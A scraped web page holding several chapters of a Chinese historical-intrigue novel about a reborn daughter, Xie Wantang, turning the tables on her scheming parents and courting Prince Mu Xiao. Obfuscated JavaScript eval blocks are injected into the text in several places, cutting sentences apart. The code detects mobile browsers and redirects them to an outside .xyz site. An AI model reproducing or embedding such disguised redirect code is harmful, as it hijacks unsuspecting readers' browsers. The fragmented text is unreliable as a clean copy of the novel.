;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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事情闹到了京兆府,多少双眼睛在盯着呢,你以为现在派人出去找她,就能保下她,把她送到安全的地方?你也不看看外面江厌留的那些人,你以为他们都是吃素的吗? 至于谢晚棠,你以为,眼下咱们还能动的了她?” 越吼,谢詹杭就越觉得憋闷。 福星……灾星…… 十六年了,他这一双女儿,到底谁是福,谁是灾,他越来越看不懂了。 可有件事他懂。 “我警告你,不要再背着我乱来,宁儿的事先放一放,我会派人暗中打探,剩下的等风头过去了再说。至于谢晚棠那,你也不要轻举妄动,就凭你,根本斗不过她。眼见着就到年跟了,到时候我会做安排,借着时机的便利,我会斩草除根,让她死无葬身之地,日后,她就再也碍不着宁儿,碍不着我们侯府了……” 第85章 起涟漪 谢詹杭的计划是什么,谢夫人不得而知。 只是,谢詹杭眼底的阴翳和杀气,她看的清清楚楚,她也相信,这次谢詹杭不会手软。 夫妻争吵不是好事。 谢夫人深知这一点,她强忍着没再发火,向谢詹杭施压。 她只轻声叮嘱。 “那侯爷可一定要记得派人去找宁儿,其他的事都好说,唯有宁儿的安危,这是马虎不得的。她不是谢晚棠那种灾星,她是咱们的福星。咱们宠了她十几年,总不能在她最需要咱们的时候,就这么作壁上观,当了局外的看客。” “我宠她,并不比你少。” 谢詹杭应了一句,没再多解释什么。 道理都摆在面上了。 他能说的,能做的,也就只有这些,再谈也不过是浪费时间。 …… 翌日。 天才微微亮,天岚就按照谢晚棠的吩咐,把那幅画送去了齐王府。 慕枭从练武场回来,到主院沐浴,刚好瞧见天晴站在主院门外,他手里拿着画,要进不进,犹犹豫豫的。 慕枭眉头紧锁。 “腿废了?不会进门?” “嘿!” 天晴听到声音,看向慕枭,傻笑了一声。 慕枭原本就皱紧的眉头,煞时皱的更紧了,还带着几分嫌弃,“有事说,没事滚,想笑出去找你未来夫人,别在本王这膈应人。” 听着慕枭这话,天晴咂舌。 “啧,王爷都还没娶王妃呢,属下哪能抢了先?那王爷还不得嫉妒?” 慕枭剜了天晴一眼。 没再理会他,慕枭大步往里走。 见状,天晴急忙跟上去,“王爷,其实属下迟迟不敢进门,是有件事拿不准主意,不知道该不该跟王爷说。不过,现在瞧着王爷还能骂属下,可见心情还不错,那属下就说了啊。” “啰嗦。” “王爷,一早天岚回来了,还送来一幅画,说是谢二小姐让她送来的,是答谢王爷高抬贵手的谢礼。” 一边说着,天晴一边伸手,将那幅画塞给慕枭。 “属下告退。” 话一说完,天晴转头就跑。 之前谢晚棠送来东西,慕枭就不喜,他最常说的话就是“烧了”,对人家姑娘,心硬的跟石头似的。 这次,谢晚棠让天岚送了一幅画过来。 好死不死的,他好奇瞧了。 啧! 暧昧香艳的紧。 慕枭向来不近女色,也不知道他看了那画,会是什么反应?更不知道,慕枭若是知道他也看了那画,又得怎么收拾他? 虽然好奇很重要,但还是保命要紧。 先跑为上。 天晴速度快,一溜烟就没影了,慕枭瞧着他消失的方向,再看看手上的画,想着之前在嘉景庄园的事,想着谢晚棠的话,心里就猜到了七七八八。 他往屋里去,边走边将画打开。 嘉景庄园,后山梅林,红梅盛放,男女相依。 谢晚棠说要送他的画,送来的倒是快。 这画的下笔着色,依旧跟上一幅画似的,与他的习惯有几分相近,但画风明显更大胆了不少。 她倒是敢! …… “阿嚏。” 桐花台里,正对着铜镜画眉的谢晚棠,一连打了两个喷嚏。 天月、知棋在一旁瞧着,都有些紧张。 她们两个接连念叨。 “小姐,好端端的,怎么打喷嚏了,天又凉了不少,莫不是冻到了?” “桐花台的地龙烧起来,总感觉差了点,没有那么热,比宁和园那头差了不少呢。” “小姐,要不奴婢给你诊脉瞧瞧?” 谢晚棠勾唇。 外面天是冷,连带着屋里也凉,但比起当初的小破院,桐花台不知道好了多少呢。 她才不是被冻的,被冷到了。 怕是慕枭在念叨她吧? 嫌弃她大胆,说她太孟浪,不知礼数,毫无规矩……可嫌弃之余,他那平静如水的心,总归会荡起一丝涟漪吧? 有,就不亏。 先让慕枭记住她,习惯她,一点点走进慕枭的心,再扭转慕枭对她的印象。 循序渐进,徐徐图之。 眼见着进腊月了,距离她再见慕枭也不远了。 不急! 这些事,谢晚棠在心里盘算的清楚,她也没在多费心思,一下下的描画着眉毛,半晌,她才轻声开口。 “天月,一会儿你带着知棋去找管家,帮我办一件事。” “请小姐吩咐。” “床头的匣子里,还有二百七十两,你全都拿着,我要知琴、知棋、以及赶车小厮六子的身契。” 知琴、六子是要到京兆府闹的。 他们的身契若还在永昌侯府,难免要受侯府掣肘,谢夫人也不会放过他们。 所以,在他们去闹之前,得把他们的身契拿到手。 如此也能少些麻烦。 “是。” 天月应声,带着知棋很快就出了屋,去找管家去了。 谢晚棠在侯府的处境,管家清楚,她想拿捏这几个下人的身契,让他们为自己所用,也不是什么奇怪的事。故而,天月带着知棋过去找,管家也没把这事当回事。 只花了三十两,三个人的身契,天月就拿到手了。 简单极了。 …… 两日后,主院。 谢夫人听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782571|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说门外京兆府的官兵不但没走,反而人数还增加了一倍,他们还在京城里张贴了告示,海捕谢婉宁,谢夫人气得不行。 桌上的茶具,被她扬手一股脑都扫到了地上。 她额上青筋直跳。 “那江厌未免也太不识趣了,为了一个死灾星,把事情闹这么大,他是一点都不将永昌侯府放在眼里吗?他真当自己是青天大老爷,谁都敢动,谁都可以动,他就不怕死吗?” 谢夫人怒骂。 闻声,来报信的婆子,小心翼翼的回应。 “夫人,老奴听说原本事情闹的也没这般严重,是知琴和六子去了一趟京兆府,然后事情好像就变成这样了。” “知琴?六子?” 呢喃着这两个名字,谢夫人语气阴冷。 果然,跟了谢晚棠之后,再好的人也会变,成不了什么好东西。 敢闹?敢害她的宁儿? 找死! “去,把他们两个给我带到主院来,安排府卫,就在这主院里,将他们乱棍打死。通知府里的下人,全都过来瞧,让他们都给我好好的看一看,背叛主子,是个什么下场。” 谢夫人厉声吩咐,仿佛能将人生吞活剥了。 婆子闻言即刻去传消息。 下人,迅速聚到主院。 桐花台。 知棋去拿炭,刚好听到了些风声,她急匆匆的回来报信。 “小姐,侯夫人发了话,让下人们聚去主院,说是要抓了知琴、六子过去乱棍打死。奴婢听了信,抄了小路回来,要稍微快一点儿,估计侯夫人的人马上就会到。” “嗯。” 端着茶盏,轻轻摩挲,谢晚棠也不意外。 她挑眉看向知琴和六子。 “怕吗?” 听问,知琴、六子对视一眼,随即摇头。 可谢晚棠却笑了,“不,你们要怕,要怕的惊慌失措,要怕的不能自已,要怕到发疯,怕到……为求活命,不顾一切,火急火燎的冲出侯府,把她架到高台上,从而为自己谋条生路。” 谢晚棠的话说的很慢,知琴、六子眼睛转了转。 心下了然。 这工夫,院外已经响起了脚步声。 不过片刻,主院的婆子,便带着几个身材壮硕、人高马大的府卫,冲进了谢晚棠的房间。 看到房里的知琴和六子,婆子厉声吩咐。 “去,把他们两个抓起来。” “是。” 府卫应声而动。 谢晚棠给天岚、天月使了个眼色,二人即刻将知琴、六子护在了身后。 谢晚棠则甩手,把手中的茶盏,砸向了冲在最前面的府卫,她冷声开口,“来我桐花台**,谁给你们的胆子?” 第86章 娉婷姿 “二小姐……” 婆子上前,冲着谢晚棠敷衍的行礼,她随即冷声回应。 “这是侯夫人的吩咐,让老奴带人即刻抓知琴、六子到主院,还请二小姐不要跟侯夫人作对,也不要让老奴难做。” “呵!” 听着这话,谢晚棠嗤笑,她起身走向婆子。 一步一步,娉婷袅袅。 在婆子面前站定,她眉眼弯弯,饶有兴致的看着婆子,她淡淡的询问。 “阿娘让你来我这抓人?” “是。” “那阿娘有没有让你带着男人,闯我闺房?” “老奴……” “阿娘有没有让你不敬主子,行礼敷衍,态度恶劣,言辞不恭?” “……” 婆子被问的说不出来话。 她梗着脖子看着谢晚棠,在谢夫人身边伺候多年,她知道谢晚棠是灾星,在侯府不受重视,谢夫人更是厌极了这个女儿,恨不能让她死,在她面前,没什么恭敬可言。 行礼,已经算是给她面子了。 可这些事,婆子敢想,却不敢说,这是不能宣之于口的。 否则,惹了麻烦,谢夫人也不会饶了她。 “啪!” 婆子正想着,谢晚棠一个巴掌,就冲着她打了下来。 清脆的声响,在房中炸响。 婆子脸被打的火辣辣的,隐隐发麻,跟着她来的府卫瞧着这状况,吓了一跳,他们下意识的围过来。 谢晚棠笑着扫视他们一群人。 “怎么,她一个对我不敬还不行,你们还都想对我不敬?想对我动手?这也是阿娘的意思?阿娘是让你们来我这抓人的,还是让你们来我这弄死我的?” “二小姐不要胡乱攀咬,侯夫人没这个意思,老奴只是带人来抓两个下人而已,没……” “啪!” 婆子的话还未说完,谢晚棠就又给了她一巴掌。 这一下,比之前还要用力。 谢晚棠手都麻了。 揉着自己的手,谢晚棠轻哼,“我胡乱攀咬?你们这般做事,到头来还成了我的错了?我倒要去找阿娘问问,刁奴欺主,是她纵容,还是你们肆意妄为,是你们该死?” 谢晚棠说着,就提着裙摆,快步出去了。 “小姐……” 知琴、知棋、六子轻唤,无视婆子和府卫,他们急忙跟上。 天岚、天月两个断后。 他们主仆六人,直奔主院,好戏就要开场了,他们脚步飞快,大步流星。 后面婆子、府卫跟着,一行人浩浩荡荡。 若非是两拨势力,倒也有些气派。 主院。 谢晚棠过来的时候,主院里已经聚满了下人。 谢夫人让人搬了椅子,她就坐在屋门口的位置,身上裹着披风,怀里抱着汤婆子,她面上一丝表情都没有,冷的跟眼下这天似的,让人望而生寒。 下人们听到了口信,听说要将人乱棍打死,大家伙儿都吓得要命。 他们站的整整齐齐的,连大气都不敢喘。 谢夫人看了满意。 她是侯府主母,执掌中馈多年,上到公子小姐,下到丫鬟奴才,就没有敢在她面前造次的。 她还在呢,两个刁奴,就敢害她的宁儿—— 简直找死! 谢夫人正想着,就见谢晚棠带着**步流星的进来。 知琴、六子倒也到了,可却是走来的,而她的人,只是跟在后面,离她说的抓人,差了十万八千里。 谢夫人眉头微蹙。 “阿娘。” 还没等谢夫人开口询问,谢晚棠就已经开了口。 不知何时,她的眼底已经升起了一层湿气,怒和委屈,都裹挟其中。 “阿娘,这婆子带下人闯女儿的闺房,这是阿娘的意思吗?阿娘,女儿可还没出阁呢,她这是要毁了女儿的名声,毁了永昌侯府女子的名节吗?这也是阿娘的吩咐?” 众目睽睽之下,这话,是绝对不能认的。 谢夫人看向婆子。 婆子会意,即刻冲着谢夫人跪了下来。 “侯夫人,都是老奴的错,老奴一心想着抓那两个刁奴,免得他们伤了小姐,一时间关心则乱,才出了岔子,行为有失,老奴认罚。” “认罚就好。” 谢夫人不咸不淡的应了一声,她这才看向谢晚棠。 “是她行为有失,我作为侯府主母,稍后自会处置,给你个交代。眼下要处理的,是知琴和六子,他们犯了事,冲撞了主子,陷侯府于不义,合该乱棍打死。来人,把他们抓起来,给我动手。” “是……” “我看谁敢?” 府卫刚应声,谢晚棠就已经开了口。 她红着眼睛,泪盈于睫,用最娇软的语气,彰最凌厉的气势。 谢夫人本就不多的耐性,瞬间更消散了几分,手一下下的摩挲着怀里的汤婆子,她冷眼看向谢晚棠。 “我是侯府主母,处理下人,理所应当,你横加阻拦,莫不是要庇护刁奴?你还有没有点儿规矩了?你是想一并挨罚吗?” “阿娘,你若是看女儿不顺眼,想弄死女儿,那女儿不敢多言。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788390|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿娘要弄死女儿的人,女儿不得不多问一句:知琴、六子做了什么,怎么就冲撞了主子,要被乱棍打死?” “背主之徒,死有余辜。” “背主?” 呢喃着这两个字,谢晚棠摇头。 “可女儿并不觉得,他们做了什么背主之事,他们伺候女儿恭谨有度,进退得宜,伺候的好的很。” 听着谢晚棠的话,谢夫人只觉得可笑。 知琴也好,六子也罢,说到底都不过是谢詹杭送到谢晚棠身边,盯着她的眼线。 她还真把自己当主子了。 她也配? 谢夫人冷着脸回应,“你觉得好没用,他们到京兆府诬告宁儿,就是背主。” “诬告?” 谢晚棠感激谢夫人递台阶。 之前,谢婉宁安排府卫杀她的事,众人知晓,也不过是道听途说,没有在侯府明面上谈过。 眼下,谢夫人倒是给了她机会。 谢婉宁的凶残,谢夫人的偏心,谢詹杭的丑陋—— 都让大家伙儿瞧瞧,倒也挺好。 心里这般想着,可面上,谢晚棠看着谢夫人,脸上尽是苦笑,她稍稍后退,像是承受不住打击一般。 再开口时,谢晚棠声音哽咽,但语气却强硬坚定。 “阿娘,嫡姐派府卫杀我,人证物证俱在,江大人查的清清楚楚,知琴、六子作为目击者,到京兆府告知实情,谈何诬告?若这不是姐姐所为,姐姐有冤,那只管去京兆府说,封两个下人的口有何用?” 谢晚棠声音不大,却足以让所有人听见。 原本,谢晚棠的出现,就暴露了永昌侯府最见不得光的一面。 谢婉宁**,更揭露了这深宅大院的肮脏。 这是大热闹。 下人们一个个的,全都低着头听。 谢晚棠继续,“更何况,他们的主子是我,就算是阿娘偏心姐姐,气他们去京兆府说了姐姐的不是,那只管冲我撒气就是了,他们是为了我才这么做的,他们忠心护主,又谈何背主?要乱棍打死?我不允许!” “你不允许?” 谢夫人拍着椅子扶手厉喝。 “我是侯府主母,处理两个下人,还要经你允许不成?” “别的下人我管不着,但他们……阿娘没资格动。” “资格?他们的身契还在侯府,是生是死,是打是杀,都不过是我一句话的事,你跟我谈什么资格?” “身契?” 谢晚棠缓缓从怀里,掏出两份身契来。 “阿娘说的身契,可是这个?” 第87章 风再起 谢夫人一愣。 见状,谢晚棠也不兜圈子。 “日前,我已经为知琴、知棋、六子赎身了,拿到了他们的身契,而且皆已在官府备了案,虽然他们现在还跟在我身边做事,但这几份身契早已作废,他们是良家子,非可打可杀之人,更不是阿娘一句话,就能做主,能断生死的。” “荒唐。” 谢夫人气的发抖。 侯府的人,九成都是签了死契的,岂是说赎身就赎身的? 她是侯府主母,掌管中馈,这么重要的事,她怎么一点都不知道? “管家呢?” 听着谢夫**吼,管家急忙上前。 冬日冷风乱吹,可他额上却全都是冷汗,他怎么都没想到,几个下人的身契罢了,居然还惹出了这么大的乱子。 这下怕是要遭殃了。 “夫人,之前二小姐身边的天月,的确从老奴手中,买走了知琴三人的身契,这都是真的。” “谁允许你不经过我,私自做主的?” “夫人恕罪。” 管家听着训斥,一句话都不敢辩驳,他直接跪了下来。 谢晚棠见状,一步步上前。 到谢夫人身边,她笑意盈盈,“阿娘,瞧你这话说的,一府的管家,若是连处置几个下人身契的权利都没有,那还算什么管家?又还能管什么事?疑人不用,用人不疑,阿娘这般,怕是下头的人,往后都不知该如何做事了。” “你闭嘴。” 死死的瞪着谢晚棠,谢夫人恨不能将她生吞活剥了。 “都是你故意做的,是不是?他们去京兆府,去害宁儿,都是你一手安排的,是不是?” 若非如此,谢晚棠怎么会去拿身契? 心如蛇蝎的东西。 灾星! 谢夫人恨得牙痒痒,谢晚棠言笑晏晏,她倾身靠近谢夫人,漫不经心的回应。 “是又如何?不是又如何?” “你……” 不给谢夫人开口的机会,谢晚棠压低了声音,继续刺激她。 “阿娘,人总要认清现实的,眼下阿娘动不了我,也动不了我的人,这就是事实。相较之下,真相如何也就没那么重要了,不是吗?” “果然是你。” 完全被谢晚棠的话激怒了,谢夫人怒不可遏。 她接受不了被谢晚棠**于鼓掌之间。 她也接受不了,谢婉宁被谢晚棠坑害,自己却拿谢晚棠一点办法都没有,连为谢婉宁出口恶气都做不到。 一个灾星,凭什么在侯府兴风作浪? 她以为她是谁? 简直找死! 眼底里闪过一抹狠厉,谢夫人冷声回应。 “谢晚棠,你别以为你拿到他们两个的身契,这一局你就赢定了。就算没有身契,他们也不过是两个贱民罢了,烂命一条,我今儿就弄死他们了,我倒要看看,谁能奈我何?” 被气昏了头了,谢夫人什么都不管不顾了,她即刻叫人。 “来人,把知琴和六子给我抓住,打死。” “啊——” 知琴、六子等的就是这一刻。 他们被“吓”的尖叫。 下一瞬,还不等谢夫人的人反应,他们就扭头往外跑。 两个人早已经做好了准备,这会儿一动,脚步飞快,像是把命都豁出去了。天岚功夫好,从旁护着,让人不得近他们的身,他们两个畅通无阻,直愣愣的往永昌侯府大门冲。 一边跑,他们还一边哭嚎。 “侯夫人饶命啊。” “侯夫人,我们都已经赎身了,再不是永昌侯府的奴才了,你不能这般随意打杀的,这是**。” “侯夫人,是我们错了,我们不该去京兆府,不该去说大小姐安排府卫杀二小姐的事的,是我们错了,是我们多嘴,我们再也不敢了。以后不论大小姐要做什么,要杀谁,我们都不敢再多嘴了。” “救命啊,**啦!” 六子嗓门大,喊声传的老远,知琴声音哽咽,喘息声重,更让人怜惜。 两个人的喊声此起彼伏,接连不断。 在侯府内,他们两个人就引起了不小的风波。 人出了永昌侯府,他们更是可劲儿的跑,可劲儿的喊,引了不少人驻足围观,谢婉宁安排府卫劫杀谢晚棠,谢夫人要乱棍打死知琴、六子,**灭口,这点儿事像风一样,没一会儿就在京中传开了。 万仙楼上。 慕枭坐在顶层的包厢里,看着这一幕,看着暗中护着知琴、六子的天岚,他摩挲着手上的玉扳指,神色晦暗。 至于天晴,眼睛则亮的不像话。 “这是谢二小姐安排的?啧,挺够劲儿啊!” 闹了这么一出,不出半个时辰,**谢詹杭的折子,就又得递到宫里去。 谢詹杭少不得受一通数落,而谢夫人…… 怕是也够受的。 而永昌侯府的名声,更得一落千丈。 “王爷,这谢二小姐挺会整啊,这么下去,怕是这永昌侯府,也撑不了多久了吧?” 慕枭闻言,挑眉看向天晴。 他眼神嫌弃。 知道自己多嘴了,天晴憋憋嘴,小声嘀咕。 “王爷,就那么不能提谢二小姐吗?嘉景庄园,后山梅林,你还靠近人家了呢?那距离,那姿势,那景色,那孤男寡女,情意绵绵,啧……” “那么多那,那……你想死吗?” “呵呵呵!” 天晴干笑了两声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788391|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把剩下的话,全都给咽了回去。 情窦一点都不开的男人,真是说不得! 他不说就是了。 慕枭耳根子清净了,这才再次看向窗外,知琴和六子还在跑,他们穿梭在人群中,几声高喊,就能掀起一阵腥风血雨。 天晴的话说的倒也没错,这软刀子,用的的确够利落。 慕枭的脑海里,不禁又闪过了梅林中的场景。 谢晚棠—— 慕枭反复在心里描摹这个名字。 身在风口浪尖,过着刀尖舔血的日子,慕枭并不觉得谢晚棠的手段阴狠,相反,他倒是有些欣赏谢晚棠的手段。 人,该软的时候得软,可该狠的时候就得狠。 没有底线的善,那是愚蠢。 这样挺好。 心里想着,慕枭挑眉,“你之前说,谢晚棠身边的婆子,在咱们庄子上?” “啧,王爷这么快,就又关心起谢二小姐的事了?” “多嘴。” “是,谢二小姐身边的沈嬷嬷,在她们住的小破院被谢婉宁点了后,就到了王爷名下的景溪别院,还在那落了脚。 谢詹杭倒是追查过沈嬷嬷的踪迹,也想对她动手的,他的人也曾在景溪别院外逗留徘徊。 但沈嬷嬷似乎很谨慎。 自到了那边后,就再没有出过别院。 谢詹杭估计是投鼠忌器,不敢得罪王爷,也就没再动过手,但他的人手没全撤,现在还有两个在景溪别院外呢,估计是想伺机而动吧?” 听着天晴的话,慕枭摩挲着玉扳指的手,微微顿了顿。 他眯着眼睛思忖。 谢晚棠的字,谢晚棠的画风,谢晚棠下棋的路子,以及谢晚棠对他无端的示好,谢晚棠身边的婆子,进了他的别院—— 谢晚棠身上蹊跷的点,似乎过于多了。 谢晚棠说:女人是本书,越神秘,才能越往后读,越觉得有意思。 神秘! 慕枭咂摸着这两个字,若有所思。 …… “啪!” 永昌侯府,主院,清脆的巴掌声,震的人心惊肉跳的。 屋里屋外的下人,瞬间连大气都不敢出了,他们努力降低自己的存在感,免得被迁怒。 “侯爷,你打我?” 谢夫人被打的半张脸,火辣辣的疼。 连带着耳朵,也嗡鸣作响,隐隐的,她能感觉到有股热流从耳中流下来,她抹了一把,血色殷红。 瞬间,谢夫人眼底泪意滚动。 谢詹杭也看到了谢夫人耳朵里流出来的血,他也知道自己下手重了。 可他能不下重手吗? “你还有脸哭?我之前跟你说的,你都当耳旁风了吗?” 第88章 再逢君 “我哪有?” 谢夫人不服气的回了一声。 闻言,谢詹杭心头堆积的火气,蹭蹭的往上窜。 “你没有?你没有你给我折腾这一出?因为两个下人,闹得满城风雨,你还想怎么样?” “我只是处置两个奴才而已。” “赎了身,还算什么奴才?你想随意打杀,你以为你是谁?” “那都是谢晚棠故意的。” 越想,谢夫人就越觉得来气,要不是谢晚棠给知琴和六子赎了身,坏了她的事,何至于闹成现在这样? 都怪谢晚棠。 果然是个灾星,但凡是她掺和的事,就没有一件是好的。 谢夫人不知悔改,瞧着她那模样,谢詹杭忍不住又剜了她一眼,“你还有脸说,你只知道谢晚棠替两个下人赎身是故意的,你就不知道,她激怒你,让你明知道他们赎了身,还对他们喊打喊杀,也是她故意的?” “我……” “她就是要抓着你的把柄,把这点事闹得人尽皆知,要把宁儿和永昌侯府,都推到风口上。” 话,几乎是谢詹杭吼出来的。 他厉声继续。 “眼下,宁儿被海捕,侯府也丢尽了脸,皇上停了我的职务,罚了我一年俸禄,他也因这些糟烂事,厌极了我。他还说,若是我再治家无方,那这家也就别要了,你知道这意味着什么吗?这意味着再折腾下去,这永昌侯府永昌无望,就走到头了。这就是谢晚棠想要的,你还不明白吗?” 越说谢詹杭就越来气。 谢夫人蠢的厉害,被谢晚棠玩的团团转,连带着他和侯府也受了牵连,跟着遭了殃。 再这么下去,这永昌侯府会成什么样…… 他真的不敢细想。 细思极恐。 抿着唇,谢詹杭盯着谢夫人,半晌才冲着外面喊了一声。 “来人!” 随着谢詹杭话音落下,即刻有两个府卫进门。 谢詹杭吩咐道,“你们两个,再带上两个人,给我守住主院的大门,从今日起,夫人禁足主院,没有我的允许,她不得踏出主院半步。另外,从外院调两个嬷嬷过来伺候,主院内的所有下人,尽数调到他处,一个不留。” 谢夫人脑子不够用,人手却够用。 没事闲的,才指使下人胡闹,频频生乱。 禁足她,把人手都调走,让她一个人在这院里冷静冷静,什么都不做,也什么都做不了,也能安生些。 听着谢詹杭的话,谢夫人只觉得眼前发黑,她不敢置信。 “侯爷,你要禁足我?” “是。” “你疯了吗?” 冲向谢詹杭,谢夫人拉着他的胳膊,疯狂摇晃,她厉声咆哮。 “明明是那个死灾星害了宁儿,是她算计了我,她狼心狗肺,心怀叵测,侯爷你不去处理她,反而把火气都撒到了我身上,我何其无辜?侯爷之前还说,都想好了,会处理她,要她死无葬身之地的,可到现在也没个动静,侯爷你说的还能算数吗?还是说,侯爷你根本动不了她,只会在我这大放厥词,冲我发火宣泄?你……” “啪!” 谢詹杭甩手又打了谢夫人一巴掌。 还有下人在,谢夫人只觉得这一巴掌,比之前那一下还要疼。 也还要**。 她望着谢詹杭,嚎啕大哭。 “你……你又动手,你救不了宁儿,处理不了灾星,你只会窝里横,你就是个废物。” “你……你……简直不可理喻。” 谢詹杭被骂,气的发抖,他也懒得再跟谢夫人多纠缠。 他扭头就走,很快就出了主院。 眼不见为净。 不然,他怕自己被气死。 …… 桐花台。 主院那头消息传过来的时候,谢晚棠正坐在桌前抄写佛经。 听着天月绘声绘色讲述主院那头的状况,谢晚棠只觉得心里暖流泛滥,连带着腿上放着的汤婆子,似乎都更热了些。 吵起来好啊。 怒到极处,口不择言,字字诛心,心生嫌隙,矛盾丛生—— 多好啊! 上辈子她死后,亲耳听到了他们两口子,说了许多难听的话,让她做鬼都是寒心的。 眼下轮到他们俩互相伤害了。 心里想着,谢晚棠眼底笑意流淌,半晌才开口询问。 “谢詹杭呢,没过来吗?” “没有,去书房了。” “呵!” 从前出了事,谢詹杭还会跑到她跟前来,质问两声,放两句狠话的。 可这次,谢詹杭却是连来都不来了。 原因无非有二: 其一,谢詹杭知道眼下情况于他不妙,即便来,也不能直接处置她,浪费口舌无益,倒不如不来,求个清净。 其二,谢詹杭想好要处置她了,而且,动手的时间,应该也就是近些日子,不会太远。 最晚也不会拖到年后。 故而,谢詹杭并不急于这一时。 笔下微停,谢晚棠一双明眸微微眯了眯,她忽而想起来一件事。 一件—— 可能会被谢詹杭利用的事。 眼睛转了转,她随即看向天月,冲着天月勾了勾手指,“天月你过来,听我的,去帮我办件事!” “是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793829|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢晚棠得了回应,在天月耳畔一阵耳语。 …… 进了腊月,接连下雪,天更冷了,京中的年味儿也更足了,就是永昌侯府,哪怕闹出的乱子一个接一个,也不影响府里准备过年。 下人们忙忙碌碌的,进进出出,脚不沾地,但这些都跟谢晚棠无关。 她在意的人,都不在这侯府。 团圆年在这里,于她,也不过就是个寻常日子罢了。 她并不期待。 她只日日的待在桐花台,在房里抄佛经。 腊月初九。 天一亮,谢晚棠就起床了,特意挑了一身素色的衣裳,头上也只插了一支素白的玉簪子,之后,她就用了早膳,带着还留在府里的天岚、知棋出了门。 马车一早就备好了。 上了马车,谢晚棠让小厮赶车,直奔慈恩寺。 上辈子的时候,每到腊月初九,慕枭只要在京中,都会去慈恩寺,一为那些在边境牺牲的英烈添香油钱,二为见一见无讳大师。 虽然重活了一世,可慕枭的习惯,应该不会变。 今日,慕枭大约也会去慈恩寺。 谢晚棠想见慕枭了,自然不会错过这个相见的机会。 慈恩寺。 谢晚棠早早的就到了。 一下马车,谢晚棠下意识的望向了西边的南天阶,石阶一级一级,通天而上,谢晚棠看着不禁红了眼。 那明明什么都没有,她却恍惚间觉得,自己看到了慕枭。 上辈子的慕枭! 明明一身伤,连功夫内力都用不上,却要背着她的棺木,倔强的往上去,不让天晴、天明插手帮忙的慕枭! “小姐,你还好吗?” 天岚见谢晚棠神色不对,轻声询问。 清浅的声音,将谢晚棠的思绪拉回来,她下意识的提手,将眼角的湿意抹掉,勾唇笑笑。 “还好。” 她还好! 而重活一世,慕枭也还好好的! 这些话,是没法所出口的,谢晚棠也不多解释什么,她轻声吩咐,“走吧,咱们进去,先去把佛经供上,再去给那些在边境牺牲的将士添香油钱。” “是。” 天岚、知棋应声,她们随着谢晚棠进慈恩寺。 来过很多次,路线谢晚棠很熟。 往生殿。 慕枭为那些在边境牺牲的将士点的长明灯,就供在这边,谢晚棠带着人一路过来,刚好碰上陪着无讳大师一起过来的慕枭。两个人不知道在说什么,可明显,向来不喜形于色的慕枭,此刻脸色不大好看。 谢晚棠瞧着,心微微颤了颤。 她下意识的上前…… 第89章 两世缘 慕枭没想到会在这碰见谢晚棠。 眼看着她过来,慕枭脑海里,不禁想到刚刚无讳大师说的那句话—— 一人心,两世缘,三重锁,四季难,五更雪落袈裟寒,六载梵音跃重渊。七情尽,八苦咽,九重霄,十指连,百劫化烬千莲愿,涅槃成凰盛世安。 字,慕枭都懂。 可是那些字连起来,他又不完全懂。 但其中一句“两世缘”,却让他印象深刻。 尤其是此刻,看到谢晚棠过来,他不由自主的想到,谢晚棠那与他有几分相似的字,谢晚棠与他相近的画风,谢晚棠与他如出一辙的下棋的风格,以及谢晚棠无端表现出来的对他的倾慕和亲近…… 他隐隐觉得,无讳大师所说的,很可能就是谢晚棠。 但他又不解,不能确定。 本想着谢晚棠靠近,与她聊聊的,可是,眼见着谢晚棠还有五六步,就到他身边,谢晚棠突然身子一转,径直进了往生殿。 那样子,宛若没瞧见他一般。 慕枭坐在轮椅上,身子微微转动,他盯着往生殿的方向,眉头紧锁。 